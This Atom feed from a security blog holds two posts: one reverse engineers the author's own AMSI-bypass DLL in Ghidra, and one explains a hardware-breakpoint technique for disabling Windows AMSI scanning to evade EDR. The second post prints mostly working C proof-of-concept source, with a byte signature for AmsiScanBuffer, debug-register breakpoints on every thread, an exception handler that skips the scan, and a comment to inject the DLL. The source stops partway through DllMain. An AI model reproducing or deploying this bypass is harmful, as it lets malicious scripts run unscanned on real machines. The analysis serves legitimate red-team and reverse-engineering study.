<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://please.donothack.us/feed.xml" rel="self" type="application/atom+xml" /><link href="https://please.donothack.us/" rel="alternate" type="text/html" /><updated>2025-08-14T10:27:16+00:00</updated><id>https://please.donothack.us/feed.xml</id><title type="html">Calzone Breaks Things</title><subtitle>Exploring memory, reverse engineering, and fuzzing.</subtitle><author><name>Callum Murphy-Hale</name></author><entry><title type="html">Reverse Engineering Myself, Part 1: amsi-breakpoint.dll</title><link href="https://please.donothack.us/blogs/reversing-myself-1" rel="alternate" type="text/html" title="Reverse Engineering Myself, Part 1: amsi-breakpoint.dll" /><published>2025-06-04T00:00:00+00:00</published><updated>2025-06-04T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/reversing-myself</id><content type="html" xml:base="https://please.donothack.us/blogs/reversing-myself-1"><![CDATA[<h1 id="reverse-engineering-myself-part-1-amsi-breakpointdll">Reverse Engineering Myself, Part 1: amsi-breakpoint.dll</h1>

<p>I recently completed FOR710, a SANS training course that dives deep into reverse engineering malware with Ghidra and various other tools. I found it hugely rewarding, but it was also clear to me that this is the kind of skill that gets rusty very quickly if you don’t keep at it.</p>

<p>Over the course of my career, I’ve written various pieces of software that might uncharitably be called malware. Part of the reason I took FOR710 in the first place was to understand what my binaries look like from the defensive perspective (I also thought it might help with black-box vulnerability research).</p>

<p>So, why not combine the two? By reverse engineering things I’ve written in the past, I can hone my reverse engineering skills. At the same time, I hope it will improve my understanding of the artifacts I left behind in code that was trying to be stealthy. That’s the idea, anyway.</p>

<p>For this first article in the series, I’ll be revisiting the AMSI breakpoint proof of concept I showcased in <a href="/blogs/amsi-breakpoints">Frida vs. AMSI - Beyond Prototyping</a>. I wrote that PoC to showcase a technique for evading EDR, but didn’t make any attempts to obfuscate the code itself. You can refer to the previous article to see the source code of the original tool. I won’t be referencing or reproducing it here, as the point is to infer what the DLL does <strong>without</strong> access to the original source code.</p>

<p>This should be very easy to reverse engineer, so let’s consider this a bit of a warmup!</p>

<h2 id="initial-analysis">Initial Analysis</h2>

<p>I applied only the most basic obfuscation before analysing amsi-breakpoint.dll. I compiled it with <code class="language-plaintext highlighter-rouge">gcc -s</code> to strip debugging symbols, and then ran <code class="language-plaintext highlighter-rouge">strip</code> on it for good measure. Then I loaded it into Ghidra and analysed it.</p>

<p>Ghidra easily identified it as a binary that was compiled with GCC. Compiling a Windows binary with MingGW GCC is a little unusual compared to using native Microsoft toolchains, and might be an early red flag for a malware analyst. There was also a single error about missing MinGW relocation tables, presumably because it’s a stripped binary. Ghidra complained, but seemed to analyse it without issue.</p>

<p>Interestingly, the binary still contains a bunch of named functions in the export directory even though I stripped it!</p>

<p><img src="/img/amsi-reveng-1.png" alt="a screenshot of the Ghidra symbol tree" /></p>

<p>A little reading indicates that MinGW will actually export everything by default when you use it to create a DLL, not just <em>DllMain()</em>. This was news to me! Apparently you need to include this annotation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__attribute__</span><span class="p">((</span><span class="n">dllexport</span><span class="p">))</span>
</code></pre></div></div>

<p>When you do that, all of the functions you <strong>didn’t</strong> annotate will be hidden by default. I didn’t want to make things too easy on myself, so I did that and recompiled it.</p>

<p><img src="/img/amsi-reveng-2.png" alt="a screenshot of the Ghidra symbol tree" /></p>

<p>Much better!</p>

<h2 id="finding-the-entrypoint">Finding the Entrypoint</h2>

<p>We can still see the <em>DllMain</em> export in the screenshot above. Since this a DLL and there’s nothing else in the export table that looks interesting, it’s a safe bet that this is going to be the entrypoint to our user-generated code. Still, in the interest of thoroughness we might want to confirm that this is indeed the main entrypoint for the binary.</p>

<p>CFF Explorer shows that the <em>ImageBase</em> of the DLL is 0x6980000, and the <em>AddressOfEntryPoint</em> field is 0x1350. Within Ghidra, the pseudo-mapped address 0x69801350 corresponds to the <em>entry</em> symbol. So that’s our program entrypoint. Exploring outgoing references from there, we can see <em>DllMain</em> is ultimately invoked from the entrypoint:</p>

<p><img src="/img/amsi-reveng-3.png" alt="a screenshot illustrating the outgoing calls from the entry symbol" /></p>

<p>We can assert with a fair amount of confidence that <em>DllMain</em> is the start of user-generated code, even if that wasn’t obvious already. We’ll bookmark it for easy reference and begin investigating it in more detail.</p>

<h2 id="analysing-the-entrypoint">Analysing the Entrypoint</h2>

<p>Here’s what we have to work with:</p>

<p><a href="/img/amsi-reveng-4.png"><img src="/img/amsi-reveng-4.png" alt="a screenshot of Ghidra centred on DllMain" /></a>
<em>(click the image if you can’t see it very well)</em></p>

<p>Reverse engineering often requires us to delve into the disassembly, but the decompiler output for this binary isn’t actually bad. Ghidra has automatically identified the Windows API call invocations, so there are only a few user-defined functions we’re not sure about the provenance of. We can make things even clearer by annotating the correct arguments and return value for <em>DllMain()</em>:</p>

<p><a href="/img/amsi-reveng-5.png"><img src="/img/amsi-reveng-5.png" alt="a screenshot of Ghidra centred on DllMain" /></a></p>

<p>We can already infer a few things that are happening here:</p>

<ol>
  <li>We’re adding a Vectored Exception Handler, so presumably this DLL is expecting to handle an exception at some point. It’s common for malware authors to use a VEH as a way to trigger a payload.</li>
  <li>We’re getting the current pid, along with a handle to AMSI.DLL. We might therefore assume that some kind of process manipulation will take place.</li>
  <li>We’re looking up the address of a specific symbol within AMSI, <em>DllCanUnloadNow()</em>. According to <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllcanunloadnow">MSDN</a>, this is just a standard function that is exported by DLLs that are to be dynamically loaded.</li>
</ol>

<p>We can guess that the purpose of this DLL is to interfere with AMSI somehow, probably for the current process. However, the exact mechanism is still unclear. We have three avenues to explore:</p>

<ul>
  <li><strong>LAB_69801464</strong>: This is the pointer passed to <em>AddVectoredExceptionHandler()</em>, containing the function that’ll be used to catch exceptions. It’s very likely this is where the actual AMSI bypass will occur.</li>
  <li><strong>FUN_698013f4</strong>: This function is passed the address of <em>DllCanUnloadNow()</em>. It’s also passed a pointer to a hardcoded string of bytes which we can’t immediately identify. It’s unclear what it does.</li>
  <li><strong>FUN_69801627</strong>: This function only executes if <em>fdwReason</em> is 1, or “DLL_PROCESS_ATTACH”. That is to say, it executes when the DLL is loaded. Therefore, it’s probably responsible for performing some kind of setup.</li>
</ul>

<h2 id="analysing-lab_69801464">Analysing LAB_69801464</h2>

<p>Since we’ve assessed that this symbol is where the AMSI bypass is likely to occur, this is where we’ll start. We already know it’s a <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/nc-winnt-pvectored_exception_handler">VectoredHandler</a>, so we can annotate the function with the correct arguments and parameters:</p>

<p><a href="/img/amsi-reveng-6.png"><img src="/img/amsi-reveng-6.png" alt="a screenshot of Ghidra centred on LAB_69801464 which we have renamed to exception_handler" /></a>
<em>(click the image if you can’t see it very well)</em></p>

<p>Since it’s so well-annotated, this is actually pretty straightforward to analyse. First of all, we’re checking for exception code 0x80000004. This is the exception code for <em>EXCEPTION_SINGLE_STEP</em> as per <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55">MSDN</a>, which immediately tells us that this VEH is expecting to be triggered by a breakpoint.</p>

<p>We can also see another call to <em>FUN_698013f4</em>, which we saw previously in <em>DllMain()</em>. Here’s what it looked like back then:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pauVar2</span> <span class="o">=</span> <span class="n">FUN_698013f4</span><span class="p">(</span>
	<span class="n">dllCanUnloadNowAddr</span><span class="p">,</span>	<span class="c1">// pointer to DllCanUnloadNow()</span>
	<span class="o">&amp;</span><span class="n">DAT_6980901c</span><span class="p">,</span> 		<span class="c1">// pointer to a mystery buffer of hardcoded bytes</span>
	<span class="mh">0x18</span><span class="p">,</span> 			<span class="c1">// size of argument 2</span>
	<span class="mh">0xffff</span>			<span class="c1">// 65535</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Here’s how it’s being called now:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DVar2</span> <span class="o">=</span> <span class="n">FUN_698013f4</span><span class="p">(</span>
	<span class="n">ExceptionInfo</span><span class="o">-&gt;</span><span class="n">ContextRecord</span><span class="o">-&gt;</span><span class="n">Rip</span><span class="p">,</span>	<span class="c1">// pointer to current instruction</span>
	<span class="o">&amp;</span><span class="n">DAT_69809000</span><span class="p">,</span>				<span class="c1">// pointer to a buffer which contains 0xC3</span>
	<span class="mi">1</span><span class="p">,</span>					<span class="c1">// size of argument 2</span>
	<span class="mi">500</span>
<span class="p">);</span>
</code></pre></div></div>

<p><em>FUN_698013f4</em> also has a return value, which must be a memory address since the VEH uses it to overwrite the value of RIP - redirecting execution to that address. Even without analysing <em>FUN_698013f4</em> ourselves, we can probably make a guess at its purpose: <strong>it’s a memory scanner</strong>.</p>

<p>You pass it a memory address and a sequence of bytes. It returns a different memory address; the first instance of that sequence of those bytes in the scanned region. The final argument is probably the maximum number of bytes to scan. We can annotate the function as such:</p>

<p><img src="/img/amsi-reveng-7.png" alt="a screenshot of Ghidra showing the annotated memory_scanner function" /></p>

<p>Armed with this information, we can guess what this exception handler does. When it is triggered by a breakpoint, it scans the current function for the next RET instruction (opcode 0xC3). Then it redirects execution to that instruction, ensuring that the body of the function is never executed. It’s a <strong>patcher</strong>, one that works without ever modifying memory.</p>

<h2 id="analysing-fun_69801627">Analysing FUN_69801627</h2>

<p>Let’s return to <em>DllMain()</em>, which looks a bit different now that we’ve introduced more context.</p>

<p><a href="/img/amsi-reveng-8.png"><img src="/img/amsi-reveng-8.png" alt="a screenshot of Ghidra showing a more throughly annotated DllMain" /></a>
<em>(click the image if you can’t see it very well)</em></p>

<p>Most of the program is now fairly clear:</p>

<ul>
  <li>We already figured out that <em>FUN_698013f4</em> is a memory scanner and renamed it accordingly, so there’s no need to spend any more time on it.</li>
  <li>We also know, broadly, that the purpose of this DLL is to short-circuit the current function whenever it receives an <em>EXCEPTION_SINGLE_STEP</em>.</li>
  <li>We can guess, from context, that the function(s) it’s meant to be short-circuiting are related to AMSI.</li>
</ul>

<p>We can assume that <em>FUN_69801627</em>, the setup function we identified earlier, is responsible for setting those breakpoints in the first place. But how, exactly? Let’s start from the call to <em>memory_scanner()</em>.</p>

<p>Now that we know how it works, we can see that it starts from the address of <em>DllCanUnloadNow()</em> and scans forward into the executable code of AMSI.DLL. It’s searching for a specific sequence of bytes; we can now infer that those bytes correspond to the signature of the actual function it wants to patch.</p>

<p>Let’s rename variables accordingly to make that clear:</p>

<p><img src="/img/amsi-reveng-9.png" alt="a screenshot of Ghidra showing a more throughly annotated DllMain" /></p>

<p><em>FUN_69801627</em> is called with the PID of the current process and the address of the function we want to patch. It also gets passed the 3rd and 4th arguments from <em>memory_scanner()</em>, which makes less sense, but let’s take a deeper dive and see what we’re working with.</p>

<p><img src="/img/amsi-reveng-10.png" alt="a screenshot of Ghidra showing the decompiler for FUN_69801627" /></p>

<p>Remember when I said I wasn’t trying to be stealthy with this one? Thanks to a debug print statement left in the function, we can immediately see that we’re on the right track. It’s clear that the purpose of this function is to hook a memory address.</p>

<p>We can also see that Ghidra has gotten some of the auto-generated parameters wrong. These first two parameters should be a PID and a pointer based on what we saw in <em>DllMain()</em>, so let’s fix that.</p>

<p><img src="/img/amsi-reveng-11.png" alt="a screenshot of Ghidra showing the decompiler for FUN_69801627" /></p>

<p>Thanks to helpful annotation of Windows APIs by Ghidra, we can get the gist of what’s happening here. There are calls to <em>CreateToolhelp32Snapshot()</em> and <em>Thread32First()</em>, a popular technique for enumerating threads within the current process. It seems like we’re iterating over every thread, getting a handle to it with <em>OpenThread()</em>, and then invoking <em>FUN_698014db</em> on it.</p>

<h2 id="analysing-fun_698014db">Analysing FUN_698014db</h2>

<p>It seems like <em>FUN_698014db</em> is where the actual breakpoint creation occurs - it gets passed a handle to every thread in the current process, along with the address of our target function. Let’s take a look. I’ve already annotated the arguments, since we know what they are.</p>

<p><a href="/img/amsi-reveng-12.png"><img src="/img/amsi-reveng-12.png" alt="a screenshot of Ghidra showing FUN_698014db" /></a>
<em>(click the image if you can’t see it very well)</em></p>

<p>It might actually be hard to figure out what’s happening here without delving into the disassembly, but Ghidra has come to our rescue once again. It has automatically identified calls to <em>GetThreadContext()</em> and <em>SetThreadContext()</em> for us. These are two Windows APIs that can be used to manipulate the registers of a running thread.</p>

<p>Thanks to that, we can see that values are being assigned to the Dr0 and Dr7 registers… and that one of those values is the address of the function this DLL wants to patch. A quick google shows that Dr0 and Dr7 are debug registers used to set hardware breakpoints.</p>

<p>The Dr0 register is used to hold the address of the breakpoint, and the Dr7 register holds various bitflags that are used to configure, enable and disable breakpoints.</p>

<p><img src="/img/amsi-reveng-13.png" alt="a screenshot of Ghidra showing FUN_698014db with annotations" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>With that last step, we have the final piece of the puzzle. We now know exactly how this DLL works:</p>

<ol>
  <li>It scans memory starting from <em>DllCanUnloadNow()</em>, looking for the memory address of some function within AMSI.DLL.</li>
  <li>It places a hardware breakpoint on that function, ensuring it will trigger an exception every time it is reached.</li>
  <li>It registers a VEH to catch that breakpoint, which then short-circuits the function to prevent it from firing.</li>
</ol>

<p>The only thing we don’t know is which exact function within AMSI.DLL is being patched. We could make some educated guesses based on common AMSI evasion techniques. We could use a debugger to figure out exactly where that breakpoint gets triggered. If we wanted, we could even load AMSI.DLL into Ghidra and perform a memory search ourselves, since we know the exact sequence of bytes that the DLL is searching for.</p>

<p>With limited obfuscation and a fairly straightforward control flow, analysing this binary was a breeze. I didn’t need to do any dynamic analysis or reverse-engineer any deobfuscation routines, and I didn’t need to dive into the disassembly at any point. Still, it was fun to take apart something I made!</p>

<p>I’m planning for this to be the first in a series. I’ve written a fair bit of “detection avoidant” software over the years - mostly as learning exercises, though some I’ve actually had the opportunity to deploy in red team engagements. I’m looking forward to sinking my teeth into something I actually designed to be stealthy!</p>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[I return to one of my own projects to hone my malware RevEng skills.]]></summary></entry><entry><title type="html">Frida vs. AMSI - Beyond Prototyping</title><link href="https://please.donothack.us/blogs/amsi-breakpoints" rel="alternate" type="text/html" title="Frida vs. AMSI - Beyond Prototyping" /><published>2025-06-03T00:00:00+00:00</published><updated>2025-06-03T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/amsi-breakpoints</id><content type="html" xml:base="https://please.donothack.us/blogs/amsi-breakpoints"><![CDATA[<h1 id="frida-vs-amsi---beyond-prototyping">Frida vs. AMSI - Beyond Prototyping</h1>

<p>In my <a href="/blogs/frida-vs-amsi">previous article on bypassing AMSI</a>, I discussed various approaches to disabling AMSI on a Windows system - by hooking and intercepting key functions, by patching them in memory, or by corrupting the data structures that AMSI relies on to function.</p>

<p>All of these techniques are certainly effective, and Frida was a great tool for rapidly implementing and experimenting with them.</p>

<p>However, none of them are particularly stealthy. Patching a process in memory is a fairly noisy activity. While it might not get picked up by <em>every</em> EDR as long as you’re not using signatured tooling, any product with a robust behavioural analysis function is likely to flag this as suspicious behaviour.</p>

<p>In this article, I’ll describe another approach to patching AMSI. I also hope to further demonstrate Frida’s usefulness as a rapid prototyping tool, as it was my earlier research using Frida that brought me here in the first place.</p>

<h2 id="patchless-patching">Patchless Patching</h2>

<p>The basic idea is recognisable from the previous article in this series: we’re still patching the <em>AmsiScanBuffer()</em> function to short-circuit its functionality. In this case, we’re going to simply redirect execution to the RET instruction at the end of <em>AmsiScanBuffer()</em> whenever it gets invoked. The function will return instantly with a default return value of 0.</p>

<p>The way we’re going to execute that patch is different, however. We’re going to use hardware breakpoints to intercept <em>AmsiScanBuffer()</em>, a technique I can’t take credit for. I learned about it from an article in <a href="https://vx-underground.org/Papers/Other/VXUG%20Zines">VXUnderground Black Mass Halloween 2022</a>, which I highly recommend if you’re comfortable with C. It’s a great read.</p>

<p>The basic idea works as follows:</p>

<ol>
  <li>Create a DLL which must be injected into or loaded by the process you want to patch AMSI for.</li>
  <li>Within <em>DllMain()</em>, identify the memory address of the <em>DllCanUnloadNow()</em> function in the mapped version of AMSI.DLL. It precedes the function we’re actually interested in.</li>
  <li>Use egg-hunting techniques to scan forward from <em>DllCanUnloadNow()</em>, searching for the start of <em>AmsiScanBuffer()</em>. This indirect approach helps with evasion, as per the old <strong>@am0nsec</strong> implementation.</li>
  <li>Manipulate debug registers to set a hardware breakpoint on the address of <em>AmsiScanBuffer()</em>. When the function is invoked, a special exception will be thrown.</li>
  <li>Register an exception handler which manipulates the rip register to redirect execution to the end of the <em>AmsiScanBuffer()</em> function, bypassing it.</li>
</ol>

<p>As with other egg-hunting AMSI patching techniques, this approach is somewhat fragile. The specific signatures we’re searching for will change between different versions of Windows, and the bypass will need to be manually adjusted to work on those newer builds.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>Note that this is only a proof of concept and hasn’t been tested extensively. It doesn’t have error handling and isn’t opsec-friendly. Still, here’s what it looks like:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;processthreadsapi.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;tlhelp32.h&gt;</span><span class="cp">
</span>
<span class="c1">// AMSI Bypass DLL via Hardware Breakpoints</span>
<span class="c1">// Find some way to load or inject this DLL into your process and it will hook AmsiScanBuffer().</span>
<span class="c1">// Compilation: x86_64-w64-mingw32-gcc amsi-breakpoint.c -shared -o  amsi-breakpoint.dll</span>

<span class="c1">// A simple memory scanner for the purpose of finding ROP gadgets.</span>
<span class="kt">uintptr_t</span> <span class="nf">find_egg</span><span class="p">(</span><span class="kt">uintptr_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">egg</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">,</span> <span class="kt">int</span> <span class="n">max</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">((</span><span class="n">LPVOID</span><span class="p">)(</span><span class="n">addr</span> <span class="o">+</span> <span class="n">i</span><span class="p">),</span> <span class="n">egg</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="p">(</span><span class="n">addr</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Exception handler that gets invoked when the breakpoints trigger.</span>
<span class="c1">// It uses find_egg() to identify the RET instruction at the end of AmsiScanBuffer() and redirect execution to it.</span>
<span class="c1">// This effectively patches the function to return 0.</span>
<span class="n">LONG</span> <span class="n">WINAPI</span> <span class="nf">ExceptionHandler</span><span class="p">(</span><span class="n">PEXCEPTION_POINTERS</span> <span class="n">ExceptionInfo</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Validate that it's a single-step exception, thrown by the hardware breakpoint.</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ExceptionInfo</span><span class="o">-&gt;</span><span class="n">ExceptionRecord</span><span class="o">-&gt;</span><span class="n">ExceptionCode</span> <span class="o">==</span> <span class="n">STATUS_SINGLE_STEP</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// Search forwards from the current location for a RET instruction and move the instruction pointer to it.</span>
		<span class="kt">uintptr_t</span> <span class="n">rip</span> <span class="o">=</span> <span class="n">ExceptionInfo</span><span class="o">-&gt;</span><span class="n">ContextRecord</span><span class="o">-&gt;</span><span class="n">Rip</span><span class="p">;</span>
		<span class="kt">uintptr_t</span> <span class="n">newrip</span> <span class="o">=</span> <span class="n">find_egg</span><span class="p">(</span><span class="n">rip</span><span class="p">,</span> <span class="s">"</span><span class="se">\xc3</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">500</span><span class="p">);</span>
		<span class="n">ExceptionInfo</span><span class="o">-&gt;</span><span class="n">ContextRecord</span><span class="o">-&gt;</span><span class="n">Rip</span> <span class="o">=</span> <span class="n">newrip</span><span class="p">;</span>
		<span class="k">return</span> <span class="n">EXCEPTION_CONTINUE_EXECUTION</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">EXCEPTION_CONTINUE_SEARCH</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Set a hardware breakpoint on a thread by manipulating the debug registers of its thread context.</span>
<span class="n">BOOL</span> <span class="nf">set_hardware_breakpoint</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">thd</span><span class="p">,</span> <span class="kt">uintptr_t</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">CONTEXT</span> <span class="n">context</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_DEBUG_REGISTERS</span> <span class="p">};</span>
	<span class="n">GetThreadContext</span><span class="p">(</span><span class="n">thd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">context</span><span class="p">);</span>
	
	<span class="c1">// set the breakpoint address</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr0</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span> <span class="n">address</span><span class="p">;</span>

	<span class="c1">// set bits 0 and 1 of dr7 to '10' (enable dr0 local breakpoint)</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">|=</span> <span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">);</span>

	<span class="c1">// set bits 16 and 17 of dr7 to '00' (set dr0 break trigger to "execute")</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">17</span><span class="p">);</span>

	<span class="c1">// set bits 18 and 19 of dr7 to '00' (set dr0 break size to 1 byte)</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">18</span><span class="p">);</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">19</span><span class="p">);</span>	

	<span class="k">return</span> <span class="n">SetThreadContext</span><span class="p">(</span><span class="n">thd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">context</span><span class="p">);</span>
<span class="p">}</span>


<span class="c1">// Remove a hardware breakpoint on a thread by manipulating the debug registers of its thread context.</span>
<span class="n">BOOL</span> <span class="nf">remove_hardware_breakpoint</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">thd</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">CONTEXT</span> <span class="n">context</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_DEBUG_REGISTERS</span> <span class="p">};</span>
	<span class="n">GetThreadContext</span><span class="p">(</span><span class="n">thd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">context</span><span class="p">);</span>
	
	<span class="c1">// unset the breakpoint address</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr0</span> <span class="o">=</span> <span class="mi">0ull</span><span class="p">;</span>
	
	<span class="c1">// unset bit 0 of dr7</span>
	<span class="n">context</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1ull</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">);</span>
	
	<span class="k">return</span> <span class="n">SetThreadContext</span><span class="p">(</span><span class="n">thd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">context</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Iterate through the threads associated with a process and hook all of them with hardware breakpoints.</span>
<span class="kt">void</span> <span class="nf">hook_process</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">,</span> <span class="kt">uintptr_t</span> <span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">h</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPTHREAD</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">THREADENTRY32</span> <span class="n">te</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">THREADENTRY32</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">Thread32First</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">);</span>

	<span class="k">do</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span> <span class="o">==</span> <span class="n">pid</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">&gt;=</span> <span class="n">FIELD_OFFSET</span><span class="p">(</span><span class="n">THREADENTRY32</span><span class="p">,</span> <span class="n">th32OwnerProcessID</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span><span class="p">)))</span> <span class="p">{</span>
			<span class="n">HANDLE</span> <span class="n">thd</span> <span class="o">=</span> <span class="n">OpenThread</span><span class="p">(</span><span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">);</span>
			<span class="n">BOOL</span> <span class="n">res</span> <span class="o">=</span> <span class="n">set_hardware_breakpoint</span><span class="p">(</span><span class="n">thd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">printf</span><span class="p">(</span><span class="s">"Hooked 0x%p on thread %i</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">);</span>
			<span class="p">}</span>
		<span class="p">}</span>
	<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Thread32Next</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">));</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>		
<span class="p">}</span>

<span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="nf">DllMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">fdwReason</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">const</span> <span class="n">PVOID</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">AddVectoredExceptionHandler</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">ExceptionHandler</span><span class="p">);</span>	
	<span class="k">const</span> <span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">GetCurrentProcessId</span><span class="p">();</span>
	
	<span class="c1">// Find the target address using a signature-based technique for evasion. Signature may need to be updated for different Windows versions.</span>
	<span class="kt">char</span> <span class="o">*</span><span class="n">egg</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x4C\x8B\xDC\x49\x89\x5B\x08\x49\x89\x6B\x10\x49\x89\x73\x18\x57\x41\x56\x41\x57\x48\x83\xEC\x70</span><span class="s">"</span><span class="p">;</span>
	<span class="kt">uintptr_t</span> <span class="n">base</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"AMSI.dll"</span><span class="p">),</span> <span class="s">"DllCanUnloadNow"</span><span class="p">);</span>
